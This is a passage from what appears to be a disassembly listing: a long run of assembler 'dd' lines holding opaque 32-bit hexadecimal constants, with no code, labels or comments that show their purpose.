		dd 0C0E9D5F7h, 8420A9E8h, 0E2357EF0h, 0C5B57F2Ah, 12846995h
		dd 7843A2F8h, 26621620h, 2D99F380h, 0A1FA31E3h,	5E5B26F2h
		dd 7EC2A3C8h, 68392C5Ah, 0CFE090Fh, 0DF8542A9h,	0F875A152h
		dd 0D99D3C4Eh, 0B616E9DFh, 0F1098291h, 100C7FEh, 9010A7BBh
		dd 5B82A15h, 5E55904Bh,	0EF549FE9h, 76F274CAh, 0E5BD6751h
		dd 0C14AE403h, 4D06E514h, 0B20E75D4h, 0C02CEF16h, 61435BF5h
		dd 0DD829F7Dh, 0C30EF129h, 7D71A657h, 4254FAFh,	85E821A6h
		dd 0C7CA8800h, 0A6E7670h, 45FAD392h, 0CC515DAFh, 2E76E937h
		dd 415E64AAh, 0B26E5151h, 0EB3C84A0h, 0A119F2BFh, 0B43A2FE9h
		dd 7A9FBBB2h, 5247A00Bh, 39361C50h, 894BFDE9h, 0E564E0FFh
		dd 0C23610B7h, 2858FAB5h, 27E15F1Ch, 92C9121Bh,	0AB79CA07h
		dd 6E8788h, 9E14F72Dh, 8A0F0543h, 0E4537C3Fh, 116D323h
		dd 7B22B49Ch, 285AED20h, 57EE4ED0h, 0C18AFB6Dh,	0D9D70C9Ah
		dd 0D4CA4254h, 66282271h, 0A1825B7Bh, 7B5A689Fh, 0F8A78405h
		dd 28AB4EB9h, 8D276802h, 3183E63Ah, 0B4392769h,	52F33F1Dh
		dd 2D322879h, 127E0F4Bh, 50F65EC2h, 1C6008F6h, 3CBC7275h
		dd 68525101h, 22407C0Bh, 6C2F5B70h, 21A643AAh, 7A6C0A0Fh
		dd 0D3B9A45Fh, 0B66E88BBh, 0E680BF1Ch, 0D0185AACh, 9F1CC60Ah
		dd 0E91358F0h, 0FBB8D6BCh, 0FEBD21F3h, 2BEBC420h, 9A9604E4h
		dd 0AF5BD989h, 0D0FC65C2h, 0FD594A64h, 1B8C93A9h, 60D95ADh
		dd 0E2ED7E64h, 0FAC1D4F7h, 0C5048595h, 0C012E2F3h, 1E0DC353h
		dd 989549Dh, 0EADEA60Fh
		dd 52C5F51h, 5C13B800h,	613501B1h, 420E6690h, 0EFF89205h
		dd 57C669BCh, 2E5CB211h, 1D379BDh, 2209DB40h, 1A49330h
		dd 5E58CC40h, 1857671Ah, 9FEB33E9h, 230CE6C3h, 0E5D495Ah
		dd 0DE55044Fh, 81DA21CBh, 631CE87Eh, 0BE5600C1h, 1D260FD5h
		dd 0AA974AE9h, 862E8ECDh, 0B21358ACh, 0DB4828C4h, 0BB49178Fh
		dd 98A8FF63h, 4E092F9Ah, 92C9B9F1h, 0DB7E7E02h,	40A7C2BFh
		dd 80F62303h, 7EEC35Ch,	60E956Ah, 0E1E0212h, 0E0C46B92h
		dd 0A37B6AA1h, 80FED33Ah, 793B689Ch, 90F8BBA8h,	0BD06B180h
		dd 0F1067DF6h, 0ED4A2010h, 8274BD29h, 88ED977h,	742FB21Bh
		dd 46792DD6h, 0F56CE962h, 77167F89h, 0BEB85021h, 0A5E5827h
		dd 4610BEC0h, 0DE7E68C7h, 5A6680C2h, 0E2885253h, 0D0755073h
		dd 258089A1h, 0C8E6BABh, 5928FA5Eh, 0C85257D8h,	23097507h
		dd 60F2845Bh, 9FE673E9h, 0D2000729h, 100B7871h,	9216748Ah
		dd 0BADB8466h, 0ED8886F7h, 6AE5D769h, 49FB5FBEh, 0CC8DE9ACh
		dd 1A062BDDh, 469DDCDh,	0FB0B69E6h, 12E4EA4Eh, 0CB202651h
		dd 0E1C30D86h, 3E348938h, 0B0BAC4B0h, 256F00F2h, 0F7815193h
		dd 7C727397h, 8994E927h, 25247E27h, 7DE60F50h, 8926B717h
		dd 13EF9641h, 0B06E8E5Fh, 7C1C4575h, 0FD5A01E2h, 5F0805E8h
		dd 2DC0F9B2h, 661C5E2Fh, 7BEDF097h, 91F4B33h, 40564231h
		dd 0DC60FCC2h, 0BA0F62BCh, 0EB955807h, 0B04B92CBh, 0C14FFDE6h
		dd 0E4616CC9h, 58516B61h, 0F66B4C6Ch, 92A4672Eh, 0FA0907B2h
		dd 580881B8h, 34AFA63Ah, 40E23F91h, 7B9B9C19h, 409540DAh
		dd 10606A15h, 7665DDC8h, 6AC99E3Ch, 0C8E9C179h,	0E3858143h
		dd 248F1840h, 0CBC9907Fh, 72266B1Bh, 1A024966h,	0D7D17408h
		dd 0A3F1E0C8h, 7A4C3B72h, 262504AEh, 0C0C03288h, 4AB154CEh
		dd 5EF0E862h, 0ABF41AF8h, 76F09B74h, 0CAD44F36h, 851C2327h
		dd 74DDDEE9h, 79A2EFA3h, 14E95E50h, 0D2545506h,	3FB5D3B7h
		dd 5FDE3537h, 0D2C989A2h, 1AD2976Eh, 0B55ADB98h, 3B892FF2h
		dd 62E45942h, 1C97C220h, 2F6ADE68h, 0CB2139FDh,	552B4E6Ah
		dd 0F29A41E4h, 3DEB93F7h, 0E9930881h, 4840B825h, 3D07F757h
		dd 85930F3Fh, 6BF8E296h, 2E95ECF6h, 972339E9h, 7489AA58h
		dd 0C4948A2Bh, 7AF831E9h, 8506E84Eh, 85BFFE5Ah,	86A206ECh
		dd 0C3F4185Ch, 0B0D706A2h, 0ECE8002h, 5E6C07Bh,	30BCEEC1h
		dd 0E98785F0h, 0E4D25563h, 4C61DD6Fh, 0AF123E40h, 753D7400h
		dd 5C317F84h, 76252BC8h, 0D062B2D6h, 41227DD2h,	0B8003538h
		dd 50CE18DCh, 32CC933Ch, 14201578h, 0ED032E44h,	383C71AEh
		dd 51289C8Bh, 316B04B7h, 0B351F414h, 0A76A7E35h, 0B0872ABEh
		dd 9811C20h, 0F84E85BBh, 0A7025D76h, 77BA9CD6h,	43D80B9Ch
		dd 4BEB6806h, 972F336Fh, 0F747D7E8h, 0A487DB3Fh, 60AF3655h
		dd 0B1E540B8h, 3E6F005Fh, 0BB537836h, 0EB0E6C01h, 7FB0E92Eh
		dd 2A032E32h, 4532D264h, 98F4182Ah, 5DD0F750h, 995F5F4h
		dd 0B6C5173h, 0F046589Fh, 81682AC0h, 2F75A063h,	4DC23DE9h
		dd 58C0595Fh, 57A0453Eh, 19002385h, 92C7816Dh, 90415510h
		dd 87CF4801h, 0F92652CFh, 0D10512C6h, 492E68E2h, 2C5CCE46h
		dd 0A259BF0Ah, 1490C308h, 0F5108D39h, 3B00732h,	34934424h
		dd 5915FF9Eh, 4C9F8EBAh, 0AA051053h, 8CECC01Dh,	80ACCFEh
		dd 9FC4802Eh, 29BB415h,	9D48EEBEh, 0F87CC02Dh, 71052D1Dh
		dd 2954D3D6h, 8F1F43h, 6C7C3F6Fh, 5A385552h, 0E205FB5Dh
		dd 2A677EF1h, 0C8D27A83h, 9D759F2h, 0D329F598h,	3F5BC6D5h
		dd 51E0BAE9h, 4C0569C6h, 0D6294B25h, 7C0820F7h,	24C47E59h
		dd 7A476D8h, 69BD0C83h,	0BBDAD780h, 0E5EA347Bh,	80A9445Ah
		dd 89EFCF9Bh, 0A1934477h, 680085BDh, 169F471Dh,	355AC1F5h
		dd 6F39E338h, 8076FA5h,	39762D3h, 4307BA26h, 0EB024CAFh
		dd 50BCF6EAh, 1365DEB3h, 5C74AC6Bh, 0D131A5A7h,	8000F346h
		dd 0F7E657EFh, 0B72C6E28h, 0F828231Dh, 0D1C15BBAh, 5B029A7Ah
		dd 0CBF763FDh, 1C1992Ah, 0F1A3903Fh, 0C92EFEEDh, 8E13B253h
		dd 2F4C20AAh, 89FE92D6h, 9D2EA97h, 0D15C786h, 3A109E20h
		dd 0C4520C12h, 0D7018AABh, 806C5788h, 0C7723059h, 0D708F86Bh
		dd 23A5CC5h, 0E90D9468h, 5EAD4810h, 51E4BD5Fh, 2B76D7A9h
		dd 72B74B94h, 0FEAA954Eh, 0C05F318Eh, 7A26B331h, 4D68760Ah
		dd 10CEF75Eh, 527CC380h, 49904D74h, 0D6495462h,	84795D5Ah
		dd 84222DE3h, 0A465EDABh, 1867DFAAh, 0C1BA5658h, 16C44C28h
		dd 0BEEE4E75h, 60058E52h, 0DCEFCF70h, 68125FE5h, 0FF60EDCh
		dd 582C8388h, 0B269E958h, 7A5958BBh, 91641C50h,	12320079h
		dd 0A82D0A0Fh, 720D7D12h, 74133ECh, 56A00528h, 2A3CCCBEh
		dd 0CC46B1F1h, 0AC87A37h, 0E9CE0B31h, 0A2E6BA01h, 5E5C1D25h
		dd 6B740C5h, 0C990052Fh, 24D4E40h, 6EAAF581h, 0DF806089h
		dd 7B15123Eh, 0CFAFE912h, 0B1074A3h, 47B90279h,	616BAB24h
		dd 50004902h, 0E026568h, 40581314h, 0FAFA7D48h,	1B243531h
		dd 4570C189h, 0BADA4A7Eh, 0C2F51921h, 6FE76800h, 0D552B6B4h
		dd 0E9050DD1h, 16F4D01Eh, 0A8DE4BA1h, 618C9F46h, 0B5754BFAh
		dd 50E96F1Bh, 8B236D35h, 81BE9857h, 617014C9h, 0C1008933h
		dd 7FAF6FDCh, 669A5FE9h, 897C7EBFh, 0B1E2E868h,	4D7D3BA9h
		dd 0AC6E13D1h, 875848AEh, 7F0429BCh, 547CE780h,	88FB6247h
		dd 0CEE98DC9h, 0EAC06E5Eh, 4A489407h, 3B9AB184h, 0C5C074B8h
		dd 1FFB3EF7h, 8038882h,	59CD2902h, 4A66525Ah, 0D31EBA66h
		dd 0D18BD766h, 0CBC05DE7h, 38712F2Ch, 0D80BA9B0h, 0F5AE747Bh
		dd 5C0AEF64h, 7609B768h, 1668B16Bh, 5198C2Ah, 990CF109h
		dd 0DC6F0466h, 0BA623E89h, 0A4227F24h, 6AFDD28Ah, 10D804D0h
		dd 85C4540Eh, 58ABD4Ah,	662E394Ch, 0C6B06201h, 136E99D1h
		dd 0B1D2E869h, 743BACFBh, 45C000E7h, 171992Fh, 0BB042B5h
		dd 0E46C0308h, 0F2FE8557h, 0ADAEB440h, 9A2F7508h, 0F0ADB18Ch
		dd 17D2B33Eh, 51095E54h, 97A6C563h, 0BED4800Ch,	51059858h
		dd 0C022E95Fh, 7B77D8FEh, 5466F8B4h, 97E93119h,	6B3C337Dh
		dd 4CA313BCh, 4EBE2102h, 57225738h, 0EF092A81h,	612D305Dh
		dd 77C0404h, 8EC7F729h,	17BC53BAh, 27FEA6D2h, 8116FC1Fh
		dd 171DCD7Dh, 110D70E7h, 40E29BACh, 4B30C659h, 0A8D3F084h
		dd 0DC25D51Dh, 408BCA80h, 4AE93783h, 8798079Bh,	0F7D321FAh
		dd 5AA87BDBh, 1741242Fh, 7AC17E5Dh, 6D3AA676h, 30B16BBBh
		dd 93E8B73Fh, 4AACE88h,	0D1416730h, 108EBDE6h, 513B5A1Fh
		dd 0A6299417h, 0D27078FDh, 0C912F9BFh, 63CAAC83h, 0B338C8A4h
		dd 0EB9A68B4h, 25CAD732h, 0E4972F8Eh, 6C3AF70Ah, 0EB08242Ch
		dd 0A13FFA02h, 2ACA771Dh, 0BCD7080Bh, 0E9FFC29Eh, 715F95CAh
		dd 0DA445h, 2C9D2D1Bh, 0E8AA42E9h, 7AB3A975h, 0F681000Ah
		dd 0E47EE6A2h, 0DB92D0E9h, 2C7FB001h, 51220CC8h, 0BC9F9660h
		dd 0E6880ED0h, 595AF347h, 8B2EC5FFh, 0D9A919E9h, 0EA03D155h
		dd 0A4BC08ECh, 0B819C62Ch, 0C7D8CD06h, 0FA301409h, 5212BB5Bh
		dd 665FF0Eh, 0D91329FAh, 0DCE91002h, 0C455C028h, 0E78853ACh
		dd 5B4AF9E4h, 302D9DACh, 0CE3F9966h, 0EE90C20h,	240918B1h
		dd 2A5A0FC9h, 36D29F4Ch, 0DA59E92Ah, 4F7B5495h,	58288A28h
		dd 5E2D4378h, 680DB8A5h, 9D176380h, 15119A1Fh, 407B798Fh
		dd 0D25CF60Dh, 0C4BB2F72h, 6EBFFE71h, 0C57F10B9h, 0FE5FB3C7h
		dd 0C0B0E895h, 0A74A2DDAh
		dd 7A016D6h, 0E4A38495h, 41C2C01h, 2FD44FCFh, 0E7E9C31Ah
		dd 25CF3C66h, 325BCA31h, 166BE42h, 6F6DC380h, 12D66EECh
		dd 0F9CBB8Bh, 15828814h, 249E72B2h, 1A7A8C2h, 0C22EE268h
		dd 7AA75C57h, 0DF49697Eh, 6342D4B2h, 5A00E63h, 6083783Ch
		dd 28732604h, 314E65C8h, 0E9C23DF2h, 0EED6D4B6h, 0D5F70284h
		dd 2D506AC0h, 1A40B7F2h, 0D35528Ch, 95E86268h, 0BDED5B8Ch
		dd 7D6FCB0Ch, 0FC052C76h, 0C7BD9036h, 830A777Ch, 0CEF04671h
		dd 8A4807FAh, 0B90D1014h, 1012B84Bh, 29149457h,	0DD26F0FDh
		dd 43522D06h, 0D9E9F7C5h, 0EF0D16AAh, 0BDD3E5CAh, 6D0A203Fh
		dd 20E3D84Dh, 0DB17C82Ch, 3BB1F626h, 0E9DDCC7Fh, 89A5CC2Eh
		dd 2E92CF81h, 5430560Dh, 0B64E1F01h, 85EF1F1Dh,	0AD526A5Fh
		dd 22538332h, 0C4FB8C14h, 2195C737h, 0A662920Ah, 820A3E8h
		dd 0DB4E6C98h, 5A59E183h, 0E21FF8F8h, 1ED02E5h,	85F07DE6h
		dd 54F88927h, 5AAE58C4h, 60859C83h, 0EE935FFDh,	0E909CD9Eh
		dd 0EFD17B56h, 7CBA888h, 0A05A93BAh, 2A0B682Eh,	4AEF9297h
		dd 0E2D8C0A5h, 924E13DEh, 2963BC1Fh, 0ED04D3D1h, 50E09B7Eh
		dd 0A84D4FEBh, 0E92BA44Bh, 1E57BA5Eh, 0FD5C0BB8h, 1F2BAD0Ch
		dd 0CADDD186h, 0D917D0DEh, 0C2859813h, 0ADA774FAh, 0EB8101B7h
		dd 769B0868h, 6276012Fh, 61E92B25h, 0B3228726h,	1C305377h
		dd 398041B6h, 0CE9D0DE6h, 0B7EE8F81h, 186DC626h, 8E125067h
		dd 7D5BDE02h, 0CE7EF88Ch, 28C7FF90h, 0EB2869h, 7DB05022h
		dd 375B9588h, 8FB75300h, 0E65ECF80h, 0E99009E7h, 4320FCF3h
		dd 0FA2546E1h, 0A40C1B60h, 13144830h, 0EA5C93E9h, 587D6A28h
		dd 25C0DB18h, 69701FBCh, 0A7574026h, 59D55D13h,	0A9102C0Eh
		dd 0FAC902E1h, 0D2BA0331h, 0BE1A2E0Eh, 380C25B8h, 0C97B6EBh
		dd 4942B0E9h, 89CBDEC6h, 9766DD63h, 3F0A3620h, 2C98C189h
		dd 0D6291EA0h, 7E97F2F2h, 0F2FBA508h, 515453E2h, 90E96194h
		dd 8B527AAEh, 97055DB0h, 695A6727h, 2D42A4F7h, 294CD1FBh
		dd 8FB835D8h, 0E65BBB7Ah, 274E5A4Dh, 4DC8B222h,	0D9832699h
		dd 87398732h, 1019B7D7h, 0ED4EBAC9h, 5918011h, 922942ABh
		dd 8908804Fh, 5D3B8CAh,	1D9978F2h, 103AACAFh, 470B6EFBh
		dd 1AF74068h, 6F768075h, 172B014Ch, 10F25BBAh, 0E21E9947h
		dd 0A0235736h, 3F9437ABh, 7AC9A623h, 6DD72014h,	0E7C15F17h
		dd 0FEEF8207h, 5D60697Eh, 0B6EA0420h, 765AAE59h, 5EFFD081h
		dd 0CB73282Fh, 0A6A8594Ah, 4FF382B4h, 0B793B400h, 0E73024C6h
		dd 0F802CF7Ch, 0F0DD12E9h, 22B12D8Dh, 14C9745Eh, 0AC469571h
		dd 0FB247C5Eh, 0A0977FFCh, 0C390F61Dh, 0C56A30E9h, 0C705A492h
		dd 49F93515h, 0BF15E4BBh, 0CC1A60E2h, 0C022471Eh, 252D73Ah
		dd 700CBB53h, 45E02A83h, 81034B05h, 6227C2E3h, 8AF3B037h
		dd 79C82F48h, 0C78FEB5Eh, 113A66BDh, 45DB0B0Ch,	1D004A70h
		dd 54C6557Fh, 5881DB98h, 0BBD424DFh, 2C30230Ch,	2C3F606Ch
		dd 25AF9421h, 7CBD57D8h, 25DDE8C2h, 9475030Bh, 0F9012DB6h
		dd 7DC225FCh, 4169EAD9h, 0F76CB5BFh, 513EBE00h,	0DEF75705h
		dd 0DFCF6BDh, 6E477A5Ah, 6411A2C0h, 0C2369F8h, 9C42D15Eh
		dd 0CC800105h, 75B340A6h, 0F8F1C9FEh, 59F62871h, 0DEE4C02Eh
		dd 27FABB08h, 0C54F05D9h, 0EBA39FB3h, 2528ADD7h, 5359C018h
		dd 0E1154BE9h, 0B0CE2A17h, 488D8A4Eh, 54A58EBh,	0E5D1521Ch
		dd 97644EC0h, 29B525FEh, 40916A77h, 814ADE8Bh, 2F7AE968h
		dd 0B45978B6h, 0D4E1E984h, 6529FB63h, 6BC1D16Ah, 3FA406BCh
		dd 25B147B1h, 0C74C312Eh, 352099DFh, 7A8D40D4h,	608E1CC1h
		dd 1882165Ah, 0CDE62438h, 2AFA8B61h, 0D31F7B81h, 7FC14602h
		dd 0D870E405h, 5CA788DDh, 1B84BD01h, 0FE7C445Fh, 3807E610h
		dd 2CB0B5E9h, 7B96F2EEh, 16DE187Dh, 4044157Bh, 0B0EF3EA6h
		dd 87BEE57Eh, 9B1B2D08h, 0BC055193h, 4412B0E7h,	0A3359781h
		dd 5846B900h, 123F4C3Dh, 0A0A8E0D4h, 0CD549EC1h, 6008407Bh
		dd 2D4CEC08h, 0BA6425E0h, 0AD545717h, 1AE3898Ch, 0E60F00E1h
		dd 6BC22573h, 2D1F5775h, 63400431h, 68467F05h, 42E9132Fh
		dd 0FDDE912h, 93412C3Fh, 0E96F9BF1h, 0FC50275Dh, 80C5EF81h
		dd 0C0ADE8D6h, 454B3EBDh, 119F101h, 51295D0Ch, 3DEDFBF6h
		dd 8BB3D338h, 4D9268C2h, 0DD2724D3h, 0B4D55AB2h, 2A25D4C6h
		dd 0E6D9F00h, 0E617BE72h, 81A04E00h, 0BD66C1EEh, 0A034946Ch
		dd 30E91308h, 0DAFED0D8h, 0D09DD23Ch, 71C85803h, 2FDCF14Ah
		dd 138CF588h, 0EE735C37h, 3E2A0A01h, 0AD2C101Bh, 0EFE40B7Fh
		dd 4D3D901h, 48682C09h,	25B9154Eh, 0B15EDD66h, 0F309F33Ch
		dd 0EA698722h, 1C080C03h, 1D27034Ch, 9246E933h,	30E1844Eh
		dd 0EA8B122Fh, 0EF8D8D5h, 0D4D3EEB5h, 0BA852Bh,	0FF2AA811h
		dd 0C64E2917h, 59E9B861h, 0AD36073Eh, 363B7355h, 0E9800E5Fh
		dd 2894118Ch, 0AB04912h, 60E41E59h, 0FDF22787h,	0EA9FE798h
		dd 0B9B24309h, 0FC2BD2EAh, 510492FDh, 1012A64Ch, 102CAAAh
		dd 5F95ED1h, 0CDD0AADFh, 230B352Ch, 0FD959ACBh,	6C6F6500h
		dd 5D137AC2h, 0FFB4D3E9h, 66E7A0D6h, 58B53E15h,	3E0234A7h
		dd 0D352EF88h, 5800E34Bh, 554561BBh, 0BF07F41Dh, 9A83C9F4h
		dd 0DA6DFA7Ch, 0FB6F6AD6h, 0AB300888h, 8CB2012Dh, 0D7208603h
		dd 5F9203E2h, 0E4E93C25h, 57BFDD02h, 0F635A73Fh, 0E7D102E8h
		dd 0A4805255h, 573D0CB2h, 9A984950h, 66A4417h, 420E4FEEh
		dd 0C59F7F85h, 0FC8F2D7Fh, 0D873F792h, 228014BCh, 89F6D402h
		dd 185A5AD5h, 3F6966D1h, 41046012h, 966065ECh, 842DF3BAh
		dd 0FE311F2Dh, 49C358D8h, 7E623499h, 4B03F489h,	848B3F5Eh
		dd 806C9292h, 57397252h, 36597E7Fh, 0FC32B1BDh,	0BCE6077Fh
		dd 44431D1Fh, 0D2510F8Bh, 82182090h, 6216F2B0h,	0DDF8B240h
		dd 0FC64BD25h, 631C6812h, 4D010EA3h, 0D1136205h, 71A83CEBh
		dd 56844B60h, 13F64EFDh, 0BAF1C7E9h, 215A1821h,	4523E46Eh
		dd 488A202Dh, 8080306Ch, 691790B8h, 39163EB0h, 6F011335h
		dd 629F7184h, 15511974h, 49486EE9h, 50BC444Bh, 42BB0FDDh
		dd 63A8552Eh, 50F9E202h, 0EB03B558h, 26148E53h,	4E81F387h
		dd 0B6FB49C4h, 818B1075h, 86D3F60Dh, 0B5E86F66h, 9C792DEh
		dd 0C041F291h, 8B47D580h, 7728A906h, 8A893AC5h,	0DDAC9A43h
		dd 7AB0E2A2h, 76350500h, 0ECFD5E60h, 70092F13h,	0FCED02A5h
		dd 177896Fh, 4131F975h,	7A3F7A68h, 9578D4D9h, 2ECC5927h
		dd 5A351060h, 9B16C668h, 7D130550h, 0C5458798h,	0C161EC40h
		dd 27E70D0Bh, 0DF06DC2Bh, 5BE82000h, 9E768DBEh,	8168989Bh
		dd 0C713ABCEh, 68D75DBAh, 12A1EA19h, 0ECB1F21Fh, 58F95049h
		dd 7B781301h, 0DADCE947h, 0A2F2442Fh, 0D2E6AFAAh, 316B205Bh
		dd 0F14C87C8h, 0DA387B3Bh, 3DFE4ACFh, 6B02D900h, 4F066568h
		dd 9E29ADC4h, 9AE0FA97h, 2F8C904Ah, 0E55CCFF9h,	0BE12F72Fh
		dd 0B751DB7Fh, 0EBD605B8h, 0BCB2BE77h, 0A5E77631h, 0A000C942h
		dd 6EC610E8h, 71DDE91Bh, 4E80E3E3h, 59873140h, 0E9698456h
		dd 0C8AEF34Bh, 2828292Eh, 0CAF1BB32h, 0CC57088Bh, 51014921h
		dd 0C3605233h, 0FAA0C5Eh, 0ED44C946h, 0C5B2FEF5h, 489A2010h
		dd 0AF6117F0h, 0D1C5B1FCh, 3CA1884Ch, 0DCDA2012h, 2D5D4B04h
		dd 815A43BDh, 0E86BA94Bh, 0E92E502Bh, 0E1A59427h, 6FA4993Ah
		dd 0C9B9D26h, 77346739h, 31A27B1Dh, 755ACB80h, 49E91F90h
		dd 0AF4EF694h, 520E6601h
		dd 846E7FEAh, 0F9CFAF2Bh, 4AC6AB4Dh, 4AA0F905h,	0C4B7D9CFh
		dd 3B68176Dh, 1059E34Dh, 593F49A0h, 0E332F316h,	0F4EB2D19h
		dd 27DEA79Eh, 62F56850h, 76DD7340h, 83E05D05h, 68560152h
		dd 14D83C96h, 0A3143F5Eh, 1D130F82h, 0DB09D3CDh, 0A9E92F08h
		dd 48CF305Ah, 69051344h, 0A4D9AE29h, 80E7BD6Ah,	4FAE744Ah
		dd 0E4E37ED1h, 7F76165Fh, 0C282EA5Ah, 5AC7878h,	60372EB8h
		dd 0FFB8C310h, 0FDBD035Ah, 5084C710h, 0FC488855h, 0C8E1101Eh
		dd 0A1534627h, 0BC480900h, 0D0F767h, 2264F22Dh,	49E9401Ch
		dd 5E33E29Dh, 1283C01Eh, 81841323h, 0BAF75B08h,	6CAFD702h
		dd 0BBAA4077h, 7EB05992h, 0E40B0C90h, 0B448052h, 2C87F63Eh
		dd 38AE047Fh, 0DCE0BE09h, 86D4CE04h, 84297E87h,	6BB8A198h
		dd 0A58471A9h, 88590585h, 0F530C5C0h, 7980735Ah, 26EC7CC2h
		dd 0E7FCE220h, 0B0C0E7FEh, 0A3B05005h, 53ECE8ECh, 0DD84B327h
		dd 88CA7483h, 0D2C3EF25h, 0BB0CD79Fh, 72B1C250h, 7EACB04Ah
		dd 400901B5h, 796CED4Fh, 0E04C8Eh, 2087085Ah, 820A1BE9h
		dd 0EEA2055Fh, 0F24B3BECh, 0D0FF9737h, 0E65CB19Bh, 266B3A58h
		dd 0DA538511h, 25A7F442h, 20D596DFh, 0BC9889EFh, 0EF85D1A3h
		dd 459F1DD1h, 0C74AB63Eh, 4FCAC4E9h, 506CFCADh,	45C69B68h
		dd 48155CE9h, 0B3261253h, 0A8C68074h, 5A74EA5Dh, 6FCE012Ch
		dd 0F7AFB218h, 47B716A7h, 0BF2F17EEh, 0FA29D144h, 427D86EAh
		dd 70557E97h, 63C07D9Bh, 7002EDC2h, 5A33F63Fh, 6A80CC4Ch
		dd 0DEFF8D38h, 5FB638EAh, 764E1798h, 305094CBh,	0B39BB7C5h
		dd 99622E17h, 0EB9236B3h, 0DF5B0D62h, 688591E7h, 1C5219FAh
		dd 0D8DB106h, 60709512h, 64F2EB34h, 0F692D5A3h,	0CE7D86DBh
		dd 0F6D74BFFh, 0BE5610C1h, 0E7DC298Bh, 5779B051h, 0A841004Bh
		dd 5B5A4B59h, 5A374C95h, 9B4C4E1h, 6C5F872Ch, 1596902Fh
		dd 0AA2A5668h, 0E605781h, 403C212Bh, 0F19FA4EEh, 34E9D40Bh
		dd 0A4CE6DE1h, 8A203F5Dh, 75BC2DA0h, 0EF73CB9Fh, 0CDBB2424h
		dd 3AB6E50Bh, 0D2EBFA4Bh, 0B679B7ADh, 26666804h, 772931AAh
		dd 5F4A397Ch, 0C6B8AF9h, 0DF9612FFh, 52D2B20Ah,	0C62F735Eh
		dd 9D868C03h, 0EFA052F6h, 0A0535925h, 183F4F0Bh, 560D021Bh
		dd 95241308h, 26B88257h, 0E0B275CFh, 0FE86F884h, 4D7BEAA6h
		dd 0AD4AADADh, 9B68E366h, 1D49133Eh, 2D56B381h,	5CB0DF74h
		dd 12C13DBEh, 6E186858h, 40F69258h, 351D66EBh, 112C3BAh
		dd 0FA7D17EBh, 0E85A1EDFh, 47B67370h, 0B892AABCh, 9EF7F13Bh
		dd 37D61063h, 97338FE0h, 0A8E1D09Bh, 0C32F817Bh, 3E8226EBh
		dd 31E10C82h, 0E8757507h, 4C2EF4E7h, 0DA16CCA2h, 395AC9C8h
		dd 15AB4A06h, 18986764h, 0EE586F32h, 0E9177633h, 334255CEh
		dd 751204E8h, 0E4C886F1h, 0E314FF02h, 1EA7F743h, 6E03203h
		dd 4B4A641h, 2D6D82EAh,	0A22865F5h, 0CA575AADh,	116809EDh
		dd 98165536h, 94EC294Fh, 0BC2FE985h, 528A4A5Eh,	0AF73C5D6h
		dd 0D14E4E8Fh, 69A820Dh, 6243F0F1h, 5AD36388h, 0EAC319C9h
		dd 6F10ECDAh, 81011D57h, 164897E6h, 33EED852h, 2E022818h
		dd 400B8318h, 3D0BF6DEh, 57252756h, 2A95108h, 0DF696A93h
		dd 890445F6h, 73A25FFEh, 13708858h, 0BF62675Ch,	6AE83D2Dh
		dd 0E9180999h, 0D59A8ADCh, 0C67B04D5h, 0EFA235FAh, 0AF85DCDh
		dd 0F8CABDAFh, 192DF343h, 9987C5Ch, 28A3285Bh, 0FBB425B2h
		dd 728A224Fh, 0A3FF1A2h, 69DB31CBh, 0D6B402FBh,	254A1049h
		dd 51452253h, 47F11B77h, 9A8C7B88h, 560E4036h, 52BA6805h
		dd 69834D79h, 0E3FF852Bh, 69EA9721h, 642B0125h,	4C327F14h
		dd 0DB4C7758h, 0BD10E916h, 8082E0F3h, 17614EEEh, 4840014Fh
		dd 97382CDCh, 0A4C50518h, 0CD06D292h, 79A7481Eh, 0D30B2558h
		dd 292DD346h, 8B645943h, 6A647B8Eh, 2FEF649Fh, 94C67A96h
		dd 0AA20A190h, 5562955Ch, 1ABE92FCh, 8644FD09h,	180707C1h
		dd 16938C05h, 0B295C301h, 61945F7Fh, 460E6813h,	4C727761h
		dd 5F5F5453h, 811D853Dh, 8995DC8Ah, 0D459CB5Fh,	0FE686225h
		dd 28CCFFh, 664A28AFh, 5158C309h, 25E9B901h, 0CB31225Dh
		dd 99735760h, 86BB400Eh, 0DD4A8243h, 417E7EF8h,	0AA8D416Ch
		dd 0D7A2588Ah, 0ED206997h, 48C6DA82h, 0D2E2CD01h, 2F1C080Ch
		dd 0ACC5619h, 0C88B5939h, 0BC5EBFB5h, 7FA168E1h, 1C718C2Ah
		dd 0F1F2714Eh, 4B41E9C2h, 0F493E176h, 45B913C1h, 9826CCE0h
		dd 0BDCA4BA7h, 5E81D073h, 2D257CF9h, 0E99EE1F6h, 8DAAB556h
		dd 368D4D0h, 0E0914479h, 0E955053Fh, 0CAD8BC35h, 0DEF6048Dh
		dd 0FF9ECE80h, 0B2A48E9Ch, 9E5451EEh, 0EA05C9C9h, 71CB6C1Fh
		dd 0A762DBD2h, 0F30577FAh, 34FD77B2h, 7B73F000h, 4E56BE05h
		dd 6C78B153h, 0D15F2F64h, 0E5963DB2h, 0C1E7A9A5h, 0B7253935h
		dd 6FA1A07Ah, 5F4C4F7Eh, 0EF430592h, 85AEF002h,	40D0FE9Dh
		dd 1219B445h, 0BFC589FEh, 97CA708Ch, 33E66948h,	73682318h
		dd 1F3C3A0Ch, 16C1714Eh, 1306BD04h, 95345831h, 0BB86B104h
		dd 17B45290h, 5E5526ACh, 441101B0h, 3F3121C8h, 0C1C4B4B0h
		dd 78FFBE3Bh, 0E3423030h, 0C025B29Eh, 955F43ADh, 0D0799499h
		dd 0C1266931h, 0A3098CE7h, 9392FC7Ah, 9A32B640h, 1C5F50Ch
		dd 904D38B2h, 2C76BC31h, 244067C4h, 0DBDBA5DCh,	11899748h
		dd 0F6B27D2Bh, 897C3284h, 0F4D21900h, 1ACB1EA6h, 80C6FE4Dh
		dd 68202CF5h, 0E8EF455Fh, 3627AA8Ah, 95F95229h,	2C28745Ch
		dd 467F802Dh, 7CA3951Bh, 0A1077499h, 7706E7C5h,	17E84CFCh
		dd 0F5177F56h, 80583h, 0E321128Eh, 0EB2AE970h, 2A2DD8A6h
		dd 691AD104h, 2DEE9657h, 78E684DAh, 2AC09D4Bh, 214FBFh
		dd 0E7D164B8h, 429AF781h, 5CC97025h, 0B1D209F1h, 22C3AB1Bh
		dd 4E0390FCh, 1E584952h, 0D4C30E0h, 0C05EF389h,	84040CBCh
		dd 0DD26297Fh, 8E126E57h, 5BE86DF4h, 19BBF350h,	0D8AF47A5h
		dd 0DE940E1h, 5DCAB661h, 0AB5074F4h, 25D19D76h,	4252AFBCh
